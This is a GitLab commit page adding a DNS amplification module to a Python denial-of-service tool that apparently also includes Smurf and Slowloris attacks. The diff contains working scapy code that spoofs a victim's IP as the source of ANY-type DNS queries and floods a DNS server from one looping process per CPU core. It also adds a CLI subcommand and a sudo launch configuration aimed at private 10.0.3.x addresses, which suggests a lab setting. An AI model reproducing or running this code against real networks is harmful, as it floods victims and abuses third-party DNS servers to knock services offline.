Skip to content
Snippets Groups Projects
Commit dee3d69c authored by Andri Joos's avatar Andri Joos :blush:
Browse files

add dns

parent 662795e8
No related branches found
No related tags found
No related merge requests found
......@@ -39,6 +39,24 @@
"-r",
"5000"
]
},
{
"name": "DNS",
"type": "python",
"request": "launch",
"program": "main.py",
"console": "integratedTerminal",
"justMyCode": true,
"sudo": true,
"args": [
"d",
"-v",
"10.0.3.12",
"-s",
"10.0.3.15",
"-d",
"joos.io"
]
}
]
}
\ No newline at end of file
from attacks.Attack import Attack
from attacks import Dns
from scapy.all import IP, UDP, DNS, DNSQR, send
from multiprocessing import cpu_count, Process
class Dns(Attack):
def __init__(self, victim_ip: str, dns_server: str, domain: str) -> None:
super(Dns, self).__init__()
self._victim_ip = victim_ip
self._dns_server = dns_server
self._domain = domain
def run(self):
ip = IP(src=self._victim_ip, dst=self._dns_server)
udp = UDP(dport=53)
dns = DNS(rd=1, qdcount=1, qd=DNSQR(qname=self._domain, qtype=255))
packet = ip/udp/dns
cpus = cpu_count()
for _ in range(cpus):
process = Process(target=send, args=(packet,), kwargs={"loop": True})
process.start()
self._processes.append(process)
super()._wait_for_sigint()
from attacks.Attack import Attack
from attacks.Smurf import Smurf
from attacks.Slowloris import Slowloris
from attacks.Dns import Dns
from attacks import Smurf, Slowloris
from attacks import Smurf, Slowloris, Dns
from argparse import ArgumentParser
def handle_smurf(victim_ip: str, broadcast_ip: str, func=None):
......@@ -7,6 +7,9 @@ def handle_smurf(victim_ip: str, broadcast_ip: str, func=None):
def handle_slowloris(victim_ip: str, victim_port: int, start_port: int, requests: int, func=None):
Slowloris(victim_ip, victim_port, start_port, requests).run()
def handle_dns(victim_ip: str, dns_server: str, domain: str, func=None):
Dns(victim_ip, dns_server, domain).run()
parser = ArgumentParser("python main.py")
subparsers = parser.add_subparsers(title="attack type")
......@@ -22,6 +25,12 @@ slowloris_parser.add_argument("--start-port", "-x", action="store", type=int, re
slowloris_parser.add_argument("--requests", "-r", action="store", type=int, required=True)
slowloris_parser.set_defaults(func=handle_slowloris)
dns_parser = subparsers.add_parser("dns", aliases="d")
dns_parser.add_argument("--victim-ip", "-v", action="store", type=str, required=True)
dns_parser.add_argument("--dns-server", "-s", action="store", type=str, required=True)
dns_parser.add_argument("--domain", "-d", action="store", type=str, required=True)
dns_parser.set_defaults(func=handle_dns)
parsed_args = parser.parse_args()
args = vars(parsed_args)
parsed_args.func(**args)
0% or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment